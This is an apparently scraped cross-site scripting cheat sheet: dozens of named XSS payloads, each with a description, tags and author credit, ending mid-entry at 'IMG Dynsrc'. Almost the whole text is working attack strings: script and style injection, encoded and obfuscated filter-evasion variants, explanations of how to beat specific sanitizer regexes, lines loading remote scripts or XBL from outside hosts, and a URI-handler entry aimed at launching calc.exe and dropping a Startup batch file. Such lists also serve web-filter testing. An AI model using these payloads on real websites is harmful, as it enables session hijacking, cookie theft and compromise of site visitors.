```
A very short cross browser header injection
Exploit Name: A very short cross browser header injection
Exploit String: with(document)getElementsByTagName('head')[0].appendChild(createElement('script')).src='//ŋ.ws'
Exploit Description: This vector shows one of the shortest possible ways to inject external JavaScript into a website's header
area.
Exploit Tags: xss, short, header, injection
Author Name: .mario

Add onclick event hadler
Exploit Name: Add onclick event hadler
Exploit String: onclick=eval/**/(/ale/.source%2b/rt/.source%2b/(7)/.source);
Exploit Description: This vector adds an onclick event handler to a tag and appends an obfuscated JS alert.
Exploit Tags: general, JS breaking, basic, obfuscated, user interaction
Author Name: kishor

Advanced HTML injection locator
Exploit Name: Advanced HTML injection locator
Exploit String:
<s>000<s>%3cs%3e111%3c/s%3e%3c%73%3e%32%32%32%3c%2f%73%3e&#60&#115&#62&#51&#51&#51&#60&#47&#115&#62&#x3c&#x73&#x3e&#x34&#x34&#x34&#
x3c&#x2f&#x73&#x3e
Exploit Description: This vector indicates HTML injections by stroked text.
Exploit Tags: general, html breaking, injection
Author Name: .mario

Advanced XSS Locator
Exploit Name: Advanced XSS Locator
Exploit String: ';alert(0)//\';alert(1)//";alert(2)//\";alert(3)//--></SCRIPT>">'><SCRIPT>alert(4)</SCRIPT>=&
{}");}alert(6);function xss(){//
Exploit Description: Advanced XSS Locator
Exploit Tags: general, html breaking, comment breaking, JS breaking
Author Name: .mario

Advanced XSS Locator for title-Injections
Exploit Name: Advanced XSS Locator for title-Injections
Exploit String: ';alert(0)//\';alert(1)//";alert(2)//\";alert(3)//--></SCRIPT>">'></title><SCRIPT>alert(4)</SCRIPT>=&{</title>
<script>alert(5)</script>}");}
Exploit Description: This is a modified version of the XSS Locator from ha.ckers.org especially crafted to check for title
injections.
Exploit Tags: general, html breaking, comment breaking, JS breaking, title breaking
Author Name: .mario

aim: uri exploit
Exploit Name: aim: uri exploit
Exploit String: aim: &c:\windows\system32\calc.exe" ini="C:\Documents and Settings\All Users\Start Menu\Programs\Startup\pwnd.bat"
```

```
Exploit Description: This aim-uri executes the calc.exe on vulnerable systems
Exploit Tags: URI exploits, gecko, injection, general
Author Name: xs-sniper

Backslash-obfuscated XBL injection - variant 1
Exploit Name: Backslash-obfuscated XBL injection - variant 1
Exploit String: <div/style=\-\mo\z\-b\i\nd\in\g:\url(//business\i\nfo.co.uk\/labs\/xbl\/xbl\.xml\#xss)>
Exploit Description: This vector utilizes backslashes to exploit a parsing error in gecko based browsers and injects a remote XBL.
Exploit Tags: general, injection, gecko, style injection, XBL, obfuscated
Author Name: thespanner.co.uk

Backslash-obfuscated XBL injection - variant 2
Exploit Name: Backslash-obfuscated XBL injection - variant 2
Exploit String: <div/style=&#92&#45&#92&#109&#111&#92&#122&#92&#45&

#98&#92&#105&#92&#110&#100&#92&#105&#110&#92&#103:&

#92&#117&#114&#108&#40&#47&#47&#98&#117&#115&#105&

#110&#101&#115&#115&#92&#105&#92&#110&#102&#111&#46&

#99&#111&#46&#117&#107&#92&#47&#108&#97&#98&#115

&#92&#47&#120&#98&#108&#92&#47&#120&#98&#108&#92

&#46&#120&#109&#108&#92&#35&#120&#115&#115&#41&>
Exploit Description: This vector utilizes backslashes to exploit a parsing error in gecko based browsers and injects a remote XBL.
All important characters are obfuscated by unclosed entities.
Exploit Tags: general, injection, gecko, style injection, XBL, obfuscated
Author Name: thespanner.co.uk

Backslash-obfuscated XBL injection - variant 3
Exploit Name: Backslash-obfuscated XBL injection - variant 3
Exploit String: <Q%^&*(£@!'" style=\-\mo\z\-b\i\nd\in\g:\url(//business\i\nfo.co.uk\/labs\/xbl\/xbl\.xml\#xss)>
Exploit Description: This vector utilizes backslashes to exploit a parsing error in gecko based browsers and injects a remote XBL.
As we can see gecko based browsers accept various characters as valid tags.
Exploit Tags: general, injection, gecko, style injection, XBL, obfuscated
Author Name: thespanner.co.uk

Backslash-obfuscated XBL injection - variant 4
Exploit Name: Backslash-obfuscated XBL injection - variant 4
Exploit String: <div    style=\-\mo\z\-b\i\nd\in\g:\url(//business\i\nfo.co.uk\/labs\/xbl\/xbl\.xml\#xss)>
Exploit Description: This vector utilizes backslashes to exploit a parsing error in gecko based browsers and injects a remote XBL.
Furthermore unclosed NBSP entities are used to obfuscate the string.
Exploit Tags: general, injection, gecko, style injection, XBL, obfuscated
```

```
Author Name: thespanner.co.uk

Backslash-obfuscated XBL injection - variant 5
Exploit Name: Backslash-obfuscated XBL injection - variant 5
Exploit String: <x/style=-m\0o\0z\0-
b\0i\0nd\0i\0n\0g\0:\0u\0r\0l\0(\0/\0/b\0u\0s\0i\0ne\0s\0s\0i\0nf\0o\0.c\0o\0.\0u\0k\0/\0la\0b\0s\0/\0x\0b\0l\0/\0x\0b\0l\0.\0x\0m\
0l\0#\0x\0s\0s\0)>
Exploit Description: This vector utilizes backslashes to exploit a parsing error in gecko based browsers and injects a remote XBL.
Between any character of the original payload null bytes are used to obfuscate.
Exploit Tags: general, injection, gecko, style injection, XBL, obfuscated
Author Name: thespanner.co.uk

BASE
Exploit Name: BASE
Exploit String: <BASE HREF="javascript:alert('XSS');//">
Exploit Description: Works in IE and Netscape 8.1 in safe mode.  You need the // to comment out the next characters so you won't
get a JavaScript error and your XSS tag will render.  Also, this relies on the fact that the website uses dynamically placed images
like ”images/image.jpg” rather than full paths.  If the path includes a leading forward slash like ”/images/image.jpg” you can
remove one slash from this vector (as long as there are two to begin the comment this will work
Exploit Tags: general, evil tags
Author Name: ha.ckers.org

Basic back ticked attribute breaker
Exploit Name: Basic back ticked attribute breaker
Exploit String: `> <script>alert(5)</script>
Exploit Description: This vector breaks back ticked attributes.
Exploit Tags: general, html breaking, basic
Author Name: kishor

Basic double quoted attribute breaker
Exploit Name: Basic double quoted attribute breaker
Exploit String: > <script>alert(4)</script>
Exploit Description: This vector breaks double quoted attributes and produces an alert.
Exploit Tags: general, html breaking
Author Name: kishor

Basic JS breaker
Exploit Name: Basic JS breaker
Exploit String: xyz onerror=alert(6);
Exploit Description: This vector just fits between script tags and fires an alerts.
Exploit Tags: general, JS breaking, basic
Author Name: kishor

Basic JS breaker variant 1
Exploit Name: Basic JS breaker variant 1
```

```
Exploit String: 1;a=eval;b=alert;a(b(/c/.source));
Exploit Description: This vector breaks JS integer assignments.
Exploit Tags: general, JS breaking, basic, obfuscated
Author Name: kishor

Basic JS breaker variant 2
Exploit Name: Basic JS breaker variant 2
Exploit String: 1];a=eval;b=alert;a(b(17));//
Exploit Description: This vector breaks JS integer assignments in arrays.
Exploit Tags: general, JS breaking, basic, obfuscated
Author Name: kishor

Basic JS breaker variant 3
Exploit Name: Basic JS breaker variant 3
Exploit String: ];a=eval;b=alert;a(b(16));//
Exploit Description: This vector breaks JS when placed in double quoted arrays.
Exploit Tags: general, JS breaking
Author Name: kishor

Basic JS breaker variant 4
Exploit Name: Basic JS breaker variant 4
Exploit String: '];a=eval;b=alert;a(b(15));//
Exploit Description: This vector breaks JS when embedded in single quoted arrays.
Exploit Tags: general, JS breaking, basic, obfuscated
Author Name: kishor

Basic JS breaker variant 5
Exploit Name: Basic JS breaker variant 5
Exploit String: 1};a=eval;b=alert;a(b(14));//
Exploit Description: JS literal object breaker for integer properties.
Exploit Tags: general, JS breaking, basic, obfuscated
Author Name: kishor

Basic JS breaker variant 6
Exploit Name: Basic JS breaker variant 6
Exploit String: '};a=eval;b=alert;a(b(13));//
Exploit Description: JS breaker for literal objects with single quoted string properties.
Exploit Tags: general, JS breaking, basic, obfuscated
Author Name: kishor

Basic JS breaker variant 7
Exploit Name: Basic JS breaker variant 7
Exploit String: };a=eval;b=alert;a(b(12));//
Exploit Description: JS breaker for literal objects with double quoted string properties.
Exploit Tags: general, JS breaking
```

```
Author Name: kishor

Basic JS breaker variant 8
Exploit Name: Basic JS breaker variant 8
Exploit String: a=1;a=eval;b=alert;a(b(11));//
Exploit Description: Can be used when JS can be injected directly.
Exploit Tags: general, JS breaking, basic, obfuscated
Author Name: kishor

Basic JS breaker variant 9
Exploit Name: Basic JS breaker variant 9
Exploit String: ;//%0da=eval;b=alert;a(b(10));//
Exploit Description: Breaks double quoted strings, injects a comment, carriage return and finally an alert.
Exploit Tags: general, JS breaking, CRLF
Author Name: kishor

Basic JS breaker variant 10
Exploit Name: Basic JS breaker variant 10
Exploit String: ';//%0da=eval;b=alert;a(b(9));//
Exploit Description: Breaks single quoted strings, injects a comment, carriage return and finally an alert.
Exploit Tags: general, JS breaking, basic, obfuscated, CRLF
Author Name: kishor

Basic single quoted attribute breaker
Exploit Name: Basic single quoted attribute breaker
Exploit String: '> <script>alert(3)</script>
Exploit Description: This vector breaks single quoted attributes and appends an alert.
Exploit Tags: general, html breaking, basic
Author Name: kishor

Basic title breaker
Exploit Name: Basic title breaker
Exploit String: </title><script>alert(1)</script>
Exploit Description: This basic vector breaks HTML titles and injects JavaScript.
Exploit Tags: general, html breaking, basic, title breaking
Author Name: kishor

BGSOUND
Exploit Name: BGSOUND
Exploit String: <BGSOUND SRC="javascript:alert('XSS');">
Exploit Description: BGSOUND
Exploit Tags: general, evil tags
Author Name: ha.ckers.org

BODY background-image
```

```
Exploit Name: BODY background-image
Exploit String: <BODY BACKGROUND="javascript:alert('XSS');">
Exploit Description: BODY image
Exploit Tags: general, evil tags
Author Name: ha.ckers.org

BODY ONLOAD
Exploit Name: BODY ONLOAD
Exploit String: <BODY ONLOAD=alert('XSS')>
Exploit Description: BODY tag (I like this method because it doesn't require using any variants of ”javascript:” or ”<SCRIPT...” to
accomplish the XSS attack)
Exploit Tags: general, evil tags
Author Name: ha.ckers.org

Camouflaged comment injection with JS link
Exploit Name: Camouflaged comment injection with JS link
Exploit String: <!--

<A href="

- --><a href=javascript:alert:document.domain

>test-->
Exploit Description: This vector evades filters by camouflaging as a comment and inhabiting a JS link.
Exploit Tags: general, obfuscated, comment breaking, internet explorer
Author Name: thespanner.co.uk

Case Insensitive
Exploit Name: Case Insensitive
Exploit String: <IMG SRC=JaVaScRiPt:alert('XSS')>
Exploit Description: Case insensitive XSS attack vector.
Exploit Tags: general, evil tags, obfuscated
Author Name: ha.ckers.org

Character Encoding Example
Exploit Name: Character Encoding Example
Exploit String:
<%3C&lt&lt;&LT&LT;&#60&#060&#0060&#00060&#000060&#0000060&#60;&#060;&#0060;&#00060;&#000060;&#0000060;&#x3c&#x03c&#x003c&#x0003c&#x
00003c&#x000003c&#x3c;&#x03c;&#x003c;&#x0003c;&#x00003c;&#x000003c;&#X3c&#X03c&#X003c&#X0003c&#X00003c&#X000003c&#X3c;&#X03c;&#X003
c;&#X0003c;&#X00003c;&#X000003c;&#x3C&#x03C&#x003C&#x0003C&#x00003C&#x000003C&#x3C;&#x03C;&#x003C;&#x0003C;&#x00003C;&#x000003C;&#X
3C&#X03C&#X003C&#X0003C&#X00003C&#X000003C&#X3C;&#X03C;&#X003C;&#X0003C;&#X00003C;&#X000003C;\x3c\x3C\u003c\u003C
Exploit Description: All of the possible combinations of the character ”<” in HTML and JavaScript.  Most of these won't render, but
many of them can get rendered in certain circumstances (standards are great, aren't they?).
Exploit Tags: general, evil tags, obfuscated
Author Name: ha.ckers.org
```

```
Closing JS Tag in JS String assignment
Exploit Name: Closing JS Tag in JS String assignment
Exploit String: <script>

var a = "</script> <script> alert('XSS !'); </script> <script>";

</script>


Exploit Description: For some reason, Firefox picks up the script closing tag in the quoted string and then proceeds to process the
remaining script tags as code.
Exploit Tags: general, gecko, obfuscated, evil tags
Author Name: t3rmin4t0r

Commented-out Block
Exploit Name: Commented-out Block
Exploit String: <!--[if gte IE 4]><SCRIPT>alert('XSS');</SCRIPT><![endif]-->
Exploit Description: Downlevel-Hidden block (only works in IE5.0 and later and Netscape 8.1 in IE rendering engine mode).  Some
websites consider anything inside a comment block to be safe and therefore it does not need to be removed, which allows our XSS
vector. Or the system could add comment tags around something to attempt to render it harmless.  As we can see, that probably
wouldn't do the job.
Exploit Tags: general, obfuscated, conditional comments, internet explorer
Author Name: ha.ckers.org

Comment-breaker using obfuscated JavaScript
Exploit Name: Comment-breaker using obfuscated JavaScript
Exploit String: */a=eval;b=alert;a(b(/e/.source));/*
Exploit Description: This vector creates an alert by breaking multiline comments.
Exploit Tags: general, comment breaking, JS breaking
Author Name: kishor

Conditional style injection for IE
Exploit Name: Conditional style injection for IE
Exploit String: width: expression((window.r==document.cookie)?'':alert(r=document.cookie))
Exploit Description: This vector uses JavaScript conditional statements to inject an alert into CSS properties - it was once used
as a PoC for a vulnerability in Stefan Di Paolos data binding example.
Exploit Tags: general, obfuscated, internet explorer, style injection
Author Name: DoctorDan

Content Replace
Exploit Name: Content Replace
Exploit String: <A HREF="http://www.gohttp://www.google.com/ogle.com/">XSS</A>
Exploit Description: Content replace as an attack vector (assuming ”http://www.google.com/” is programmatically replaced with
null). I actually used a similar attack vector against a several separate real world XSS filters by using the conversion filter
```

itself (like http://quickwired.com/kallahar/smallprojects/php_xss_filter_function.php) to help create the attack vector (”java	script:” was converted into ”java	script:”.
Exploit Tags: general, evil tags, obfuscated
Author Name: ha.ckers.org

Cookie Manipulation
Exploit Name: Cookie Manipulation
Exploit String: <META HTTP-EQUIV="Set-Cookie" Content="USERID=<SCRIPT>alert('XSS')</SCRIPT>">
Exploit Description: Cookie manipulation - admittedly this is pretty obscure but I have seen a few examples where <META is allowed and you can user it to overwrite cookies. There are other examples of sites where instead of fetching the username from a database it is stored inside of a cookie to be displayed only to the user who visits the page. With these two scenarios combined you can modify the victim's cookie which will be displayed back to them as JavaScript (you can also use this to log people out or change their user states, get them to log in as you, etc).
Exploit Tags: general, evil tags
Author Name: ha.ckers.org

DIV background-image 1
Exploit Name: DIV background-image 1
Exploit String: <DIV STYLE="background-image: url(javascript:alert('XSS'))">
Exploit Description: Div background-image
Exploit Tags: general, evil tags, style injection
Author Name: ha.ckers.org

DIV background-image 2
Exploit Name: DIV background-image 2
Exploit String: <DIV STYLE="background-image: url(&#1;javascript:alert('XSS'))">
Exploit Description: Div background-image plus extra characters.  I built a quick XSS fuzzer to detect any erroneous characters that are allowed after the open parenthesis but before the JavaScript directive in IE and Netscape 8.1 in secure site mode. These are in decimal but you can include hex and add padding of course.  (Any of the following chars can be used: 1-32, 34, 39, 160, 8192-8203, 12288, 65279)
Exploit Tags: general, evil tags, style injection
Author Name: ha.ckers.org

DIV expression
Exploit Name: DIV expression
Exploit String: <DIV STYLE="width: expression(alert('XSS'));">
Exploit Description: Div expression - a variant of this was effective against a real world cross site scripting filter using a newline between the colon and ”expression”
Exploit Tags: general, evil tags, style injection,  internet explorer
Author Name: ha.ckers.org

DIV w/Unicode
Exploit Name: DIV w/Unicode
Exploit String: <DIV STYLE="background-
image:\0075\0072\006C\0028'\006a\0061\0076\0061\0073\0063\0072\0069\0070\0074\003a\0061\006c\0065\0072\0074\0028.1027\0058.1053\005

```
3\0027\0029'\0029">
Exploit Description: DIV background-image with unicoded XSS exploit (this has been modified slightly to obfuscate the url
parameter).  The original vulnerability was found by Renaud Lifchitz (http://www.sysdream.com) as a vulnerability in Hotmail.
Exploit Tags: general, evil tags, obfuscated
Author Name: ha.ckers.org

Double open angle brackets
Exploit Name: Double open angle brackets
Exploit String: <IFRAME SRC=http://ha.ckers.org/scriptlet.html <
Exploit Description: This is an odd one that Steven Christey brought to my attention. At first I misclassified this as the same XSS
vector as above but it's surprisingly different. Using an open angle bracket at the end of the vector instead of a close angle
bracket causes different behavior in Netscape Gecko rendering. Without it, Firefox will work but Netscape won't
Exploit Tags: general, evil tags, injection, gecko
Author Name: ha.ckers.org

Dword Encoding
Exploit Name: Dword Encoding
Exploit String: <A HREF="http://1113982867/">XSS</A>
Exploit Description: URL string evasion (assuming ”http://www.google.com/” is programmatically disallowed).
Exploit Tags: general, evil tags, obfuscated
Author Name: ha.ckers.org

Embed Flash
Exploit Name: Embed Flash
Exploit String: <EMBED SRC="http://ha.ckers.org/xss.swf" AllowScriptAccess="always"></EMBED>
Exploit Description: Using an EMBED tag you can embed a Flash movie that contains XSS. If you add the attributes
allowScriptAccess=”never” and allownetworking=”internal” it can mitigate this risk (thank you to Jonathan Vanasco for the info).
Demo: http://ha.ckers.org/weird/xssflash.html :
Exploit Tags: general, evil tags, obfuscated, injection
Author Name: ha.ckers.org

Embedded Carriage Return
Exploit Name: Embedded Carriage Return
Exploit String: <IMG SRC="jav&#x0D;ascript:alert('XSS');">
Exploit Description: Embedded carriage return to break up XSS (Note: with the above I am making these strings longer than they have
to be because the zeros could be omitted. Often I've seen filters that assume the hex and dec encoding has to be two or three
characters. The real rule is 1-7 characters).
Exploit Tags: general, evil tags, obfuscated
Author Name: ha.ckers.org

Embedded Encoded Tab
Exploit Name: Embedded Encoded Tab
Exploit String: <IMG SRC="jav&#x09;ascript:alert('XSS');">
Exploit Description: Embedded encoded tab to break up XSS.  For some reason Opera does not allow the encoded tab, but it does allow
the previous tab XSS and encoded newline and carriage returns below.
```

```
Exploit Tags: general, evil tags, obfuscated
Author Name: ha.ckers.org

Embedded Newline
Exploit Name: Embedded Newline
Exploit String: <IMG SRC="jav&#x0A;ascript:alert('XSS');">
Exploit Description: Embedded newline to break up XSS. Some websites claim that any of the chars 09-13 (decimal) will work for this
attack. That is incorrect. Only 09 (horizontal tab), 10 (newline) and 13 (carriage return) work.
Exploit Tags: general, evil tags, obfuscated, internet explorer
Author Name: ha.ckers.org

Embedded Tab
Exploit Name: Embedded Tab
Exploit String: <IMG SRC="javascript:alert('XSS');">
Exploit Description: Embedded tab to break up the cross site scripting attack.
Exploit Tags: general, evil tags, internet explorer
Author Name: ha.ckers.org

End title tag
Exploit Name: End title tag
Exploit String: </TITLE><SCRIPT>alert("XSS");</SCRIPT>
Exploit Description: This is a simple XSS vector that closes TITLE tags, which can encapsulate the malicious cross site scripting
attack.
Exploit Tags: general, title breaking
Author Name: ha.ckers.org

Escaping JavaScript escapes
Exploit Name: Escaping JavaScript escapes
Exploit String: \";alert('XSS');//
Exploit Description: Escaping JavaScript escapes. When the application is written to output some user information inside of a
JavaScript like the following: <SCRIPT>var a="$ENV{QUERY_STRING}";</SCRIPT> and you want to inject your own JavaScript into it but
the server side application escapes certain quotes you can circumvent that by escaping their escape character. When this is gets
injected it will read <SCRIPT>var a="";alert('XSS');//";</SCRIPT> which ends up un-escaping the double quote and causing the Cross
Site Scripting vector to fire.
Exploit Tags: general, JS breaking
Author Name: ha.ckers.org

Evade Regex Filter 1
Exploit Name: Evade Regex Filter 1
Exploit String: <SCRIPT a=">" SRC="http://ha.ckers.org/xss.js"></SCRIPT>
Exploit Description: For performing XSS on sites that allow "<SCRIPT>" but don't allow "<SCRIPT SRC..." by way of the following
regex filter: /<script[^>]+src/i
Exploit Tags: general, evil tags, obfuscated, injection
Author Name: ha.ckers.org
```

```
Evade Regex Filter 2
Exploit Name: Evade Regex Filter 2
Exploit String: <SCRIPT ="blah" SRC="http://ha.ckers.org/xss.js"></SCRIPT>
Exploit Description: For performing XSS on sites that allow ”<SCRIPT>” but don't allow ”<SCRIPT SRC...” by way of a regex filter:
/<script((\s+\w+(\s*=\s*(?:”(.)*?”|'(.)*?'|[^'”>\s]+))?)+\s*|\s*)src/i this is an important one, because I've seen this regex in
the wild)
Exploit Tags: general, evil tags, obfuscated, injection
Author Name: ha.ckers.org

Evade Regex Filter 3
Exploit Name: Evade Regex Filter 3
Exploit String: <SCRIPT a="blah" '' SRC="http://ha.ckers.org/xss.js"></SCRIPT>
Exploit Description: Another XSS to evade this regex filter: /<script((\s+\w+(\s*=\s*(?:”(.)*?”|'(.)*?'|[^'”>\s]+))?)+\s*|\s*)src/i
Exploit Tags: general, evil tags, obfuscated, injection
Author Name: ha.ckers.org

Evade Regex Filter 4
Exploit Name: Evade Regex Filter 4
Exploit String: <SCRIPT "a='>'" SRC="http://ha.ckers.org/xss.js"></SCRIPT>
Exploit Description: Yet another XSS to evade the same filter: /<script((\s+\w+(\s*=\s*(?:”(.)*?”|'(.)*?'|
[^'”>\s]+))?)+\s*|\s*)src/i

The only thing I've seen work against this XSS attack if you still want to allow <SCRIPT> tags but not remote scripts is a state
machine (and of course there are other ways to get around this if they allow <SCRIPT> tags)
Exploit Tags: general, evil tags, obfuscated, injection
Author Name: ha.ckers.org

Evade Regex Filter 5
Exploit Name: Evade Regex Filter 5
Exploit String: <SCRIPT a=`>` SRC="http://ha.ckers.org/xss.js"></SCRIPT>
Exploit Description: And one last XSS attack (using grave accents) to evade this regex: /<script((\s+\w+(\s*=\s*(?:”(.)*?”|'(.)*?'|
[^'”>\s]+))?)+\s*|\s*)src/i
Exploit Tags: general, evil tags, obfuscated, injection
Author Name: ha.ckers.org

Eval string contained in name property
Exploit Name: Eval string contained in name property
Exploit String: eval(name)
Exploit Description: This very simple but effective vector uses the eval method on the name property.
Exploit Tags: general, super short, self contained
Author Name: SIrDarckCat

Extra dot for Absolute DNS
Exploit Name: Extra dot for Absolute DNS
Exploit String: <A HREF="http://www.google.com./">XSS</A>
```

Exploit Description: URL string evasion (assuming ”http://www.google.com/” is programmatically disallowed).
Exploit Tags: general, evil tags
Author Name: ha.ckers.org

Extraneous Open Brackets
Exploit Name: Extraneous Open Brackets
Exploit String: <<SCRIPT>alert("XSS");//<</SCRIPT>
Exploit Description: (Submitted by Franz Sedlmaier http://www.pilorz.net/). This XSS vector could defeat certain detection engines that work by first using matching pairs of open and close angle brackets and then by doing a comparison of the tag inside, instead of a more efficient algorythm like Boyer-Moore (http://www.cs.utexas.edu/users/moore/best-ideas/string-searching/) that looks for entire string matches of the open angle bracket and associated tag (post de-obfuscation, of course). The double slash comments out the ending extraneous bracket to supress a JavaScript error.
Exploit Tags: general, obfuscated
Author Name: ha.ckers.org

Filter Evasion 1
Exploit Name: Filter Evasion 1
Exploit String: <SCRIPT>document.write("<SCRI");</SCRIPT>PT SRC="http://ha.ckers.org/xss.js"></SCRIPT>
Exploit Description: This XSS still worries me, as it would be nearly impossible to stop this without blocking all active content.
Exploit Tags: general, evil tags, obfuscated, injection
Author Name: ha.ckers.org

Filter Evasion 2
Exploit Name: Filter Evasion 2
Exploit String: <SCRIPT a=">'>" SRC="http://ha.ckers.org/xss.js"></SCRIPT>
Exploit Description: Here's an XSS example that bets on the fact that the regex won't catch a matching pair of quotes but will rather find any quotes to terminate a parameter string improperly.
Exploit Tags: general, evil tags, obfuscated, injection
Author Name: ha.ckers.org

Firefox Lookups 1
Exploit Name: Firefox Lookups 1
Exploit String: <A HREF="//google">XSS</A>
Exploit Description: Firefox uses Google's ”feeling lucky” function to redirect the user to any keywords you type in. So if your exploitable page is the top for some random keyword (as you see here) you can use that feature against any Firefox user. This uses Firefox's ”keyword:” protocol. You can concatenate several keywords by using something like the following ”keyword:XSS+RSnake”
Exploit Tags: general, evil tags, gecko
Author Name: ha.ckers.org

Firefox Lookups 2
Exploit Name: Firefox Lookups 2
Exploit String: <A HREF="http://ha.ckers.org@google">XSS</A>
Exploit Description: This uses a very tiny trick that appears to work Firefox only, because if it's implementation of the ”feeling lucky” function. Unlike the next one this does not work in Opera because Opera believes that this is the old HTTP Basic Auth phishing attack, which it is not. It's simply a malformed URL. If you click okay on the dialogue it will work, but as a result of

the erroneous dialogue box I am saying that this is not supported in Opera.
Exploit Tags: general, evil tags, obfuscated, gecko
Author Name: ha.ckers.org

Firefox Lookups 3
Exploit Name: Firefox Lookups 3
Exploit String: <A HREF="http://google:ha.ckers.org">XSS</A>
Exploit Description: This uses a malformed URL that appears to work in Firefox and Opera only, because if their implementation of the ”feeling lucky” function.  Like all of the above it requires that you are #1 in Google for the keyword in question (in this case ”google”).
Exploit Tags: general, evil tags, obfuscated, gecko
Author Name: ha.ckers.org

firefoxurl: uri exploit (UXSS)
Exploit Name: firefoxurl: uri exploit (UXSS)
Exploit String: firefoxurl:test|"%20-new-window%20javascript:alert(\'Cross%2520Browser%2520Scripting!\');"
Exploit Description: This vector creates an UXSS via firefoxurl:
Exploit Tags: URI exploits, general, injection, obfuscated, internet explorer
Author Name: xs-sniper

FRAME
Exploit Name: FRAME
Exploit String: <FRAMESET><FRAME SRC="javascript:alert('XSS');"></FRAMESET>
Exploit Description: Frame (Frames have the same sorts of XSS problems as iframes).
Exploit Tags: general, evil tags, style injection, internet explorer
Author Name: ha.ckers.org

Grave Accents
Exploit Name: Grave Accents
Exploit String: <IMG SRC=`javascript:alert("RSnake says### 'XSS'")`>
Exploit Description: Grave accent obfuscation (If you need to use both double and single quotes you can use a grave accent to encapsulate the JavaScript string - this is also useful because lots of cross site scripting filters don't know about grave accents).
Exploit Tags: general, evil tags, obfuscated, internet explorer
Author Name: ha.ckers.org

Half-Open HTML/JavaScript
Exploit Name: Half-Open HTML/JavaScript
Exploit String: <IMG SRC="javascript:alert('XSS')"
Exploit Description: Unlike Firefox, the IE rendering engine doesn't add extra data to your page, but it does allow the ”javascript:” directive in images. This is useful as a vector because it doesn't require a close angle bracket. This assumes that there is at least one HTML tag below where you are injecting this cross site scripting vector. Even though there is no close > tag the tags below it will close it. A note: this does mess up the HTML, depending on what HTML is beneath it. See http://www.blackhat.com/presentations/bh-usa-04/bh-us-04-mookhey/bh-us-04-mookhey-up.ppt for more info. It gets around the following NIDS regex:

```
/(((\%3D)|(=))[^\n]*((\%3C)|<)[^\n]+((\%3E)|>)/
```

As a side note, this was also effective against a real world XSS filter I came across using an open ended <IFRAME tag instead of an <IMG tag.
Exploit Tags: general, evil tags, internet explorer
Author Name: ha.ckers.org

Hex Encoding
Exploit Name: Hex Encoding
Exploit String: <A HREF="http://0x42.0x0000066.0x7.0x93/">XSS</A>
Exploit Description: URL string evasion (assuming ”http://www.google.com/” is programmatically disallowed).

The total size of each number allowed is somewhere in the neighborhood of 240 total characters as you can see on the second digit, and since the hex number is between 0 and F the leading zero on the third hex digit is not required.
Exploit Tags: general, evil tags, obfuscated
Author Name: ha.ckers.org

Hex Encoding w/out Semicolons
Exploit Name: Hex Encoding w/out Semicolons
Exploit String: <IMG SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29>
Exploit Description: Hex encoding without semicolons (this is also a viable XSS attack against the above string $tmp_string = ~ s/.*\&#(\d+);.*/$1/; which assumes that there is a numeric character following the pound symbol - which is not true with hex HTML characters).
Exploit Tags: general, evil tags, obfuscated, internet explorer
Author Name: ha.ckers.org

HTML Entities
Exploit Name: HTML Entities
Exploit String: <IMG SRC=javascript:alert("XSS")>
Exploit Description: HTML entities (the semicolons are required for this to work).
Exploit Tags: general, evil tags, obfuscated, internet explorer
Author Name: ha.ckers.org

HTML Quoute & Comment breaker
Exploit Name: HTML Quoute & Comment breaker
Exploit String: '';!--"<script>alert(0);</script>=&{(alert(1))}
Exploit Description: This vector breaks HTML quotes and comments.
Exploit Tags: general, html breaking, comment breaking
Author Name: .mario

HTML wrapped in XML
Exploit Name: HTML wrapped in XML
Exploit String: <?xml version="1.0"?>

```
<html:html xmlns:html='http://www.w3.org/1999/xhtml'>

<html:script>

alert(document.cookie);

</html:script>

</html:html>
```
Exploit Description: This vector uses HTML wrapped in XML and can be used to circumvent common filters. This works in Gecko based browsers only.
Exploit Tags: general, XML injection, evil tags, gecko, obfuscated
Author Name: SIrDarckCat

IE backticked semicolon injection
Exploit Name: IE backticked semicolon injection
Exploit String: <img src=`x` onrerror= ` ;; alert(1) ` />
Exploit Description: This vector utilized back ticks as attribute delimiters. This works only in IE.
Exploit Tags: general, injection, internet explorer
Author Name: .mario

IE closing-tag expression injection
Exploit Name: IE closing-tag expression injection
Exploit String: </a style=""xx:expr/**/ession(document.appendChild(document.createElement('script')).src='http://h4k.in/i.js')">
Exploit Description: This vector exploits a bug in IE whre attributes in closing comments are evaluated.
Exploit Tags: general, injection, internet explorer
Author Name: .mario

IE expression injection
Exploit Name: IE expression injection
Exploit String:  style=color: expression(alert(0));" a="
Exploit Description: This vector utilizes the feature of CSS expressions in IE.
Exploit Tags: general, injection, internet explorer, style injection
Author Name: .mario

IE VB Messagebox injection
Exploit Name: IE VB Messagebox injection
Exploit String: vbscript:Execute(MsgBox(chr(88)&chr(83)&chr(83)))<
Exploit Description: This injects VB code and produces a message box. IE only.
Exploit Tags: general, basic, internet explorer
Author Name: .mario

IFRAME
Exploit Name: IFRAME

```
Exploit String: <IFRAME SRC="javascript:alert('XSS');"></IFRAME>
Exploit Description: Iframe (If iframes are allowed there are a lot of other XSS problems as well).
Exploit Tags: general, evil tags, internet explorer
Author Name: ha.ckers.org

Image onerror wrapped in XML statement
Exploit Name: Image onerror wrapped in XML statement
Exploit String: a=<a>

<b>

%3c%69%6d%67%2f%73%72%63%3d%31

%20%6f%6e%65%72%72%6f%72%3d%61%6c%65%72%74%28%31%29%3e

</b>

</a>

document.write(unescape(a..b))
Exploit Description: This vector writes an erroneous image tag with onerror hanlder inside an E4X construct into the document
context.
Exploit Tags: general, obfuscated, gecko, XML predicates, evil tags
Author Name: .mario

Image tag with obfuscated JS URI
Exploit Name: Image tag with obfuscated JS URI
Exploit String: <IMG SRC="jav&#x09;ascript:alert(<WBR>'XSS');">

<IMG SRC="jav&#x0A;ascript:alert(<WBR>'XSS');">

<IMG SRC="jav&#x0D;ascript:alert(<WBR>'XSS');">
Exploit Description: This vector creates three image tags with differing CRLF obfuscation in the javascript: URI.
Exploit Tags: general, basic, obfuscated, evil tags, internet explorer
Author Name: OWASP

Image w/CharCode
Exploit Name: Image w/CharCode
Exploit String: <IMG SRC=javascript:alert(String.fromCharCode(88###83###83))>
Exploit Description: If no quotes of any kind are allowed you can eval() a fromCharCode in JavaScript to create any XSS vector you
need.
Exploit Tags: general, evil tags, obfuscated, internet explorer
Author Name: ha.ckers.org

IMG Dynsrc
```

```
Exploit Name: IMG Dynsrc
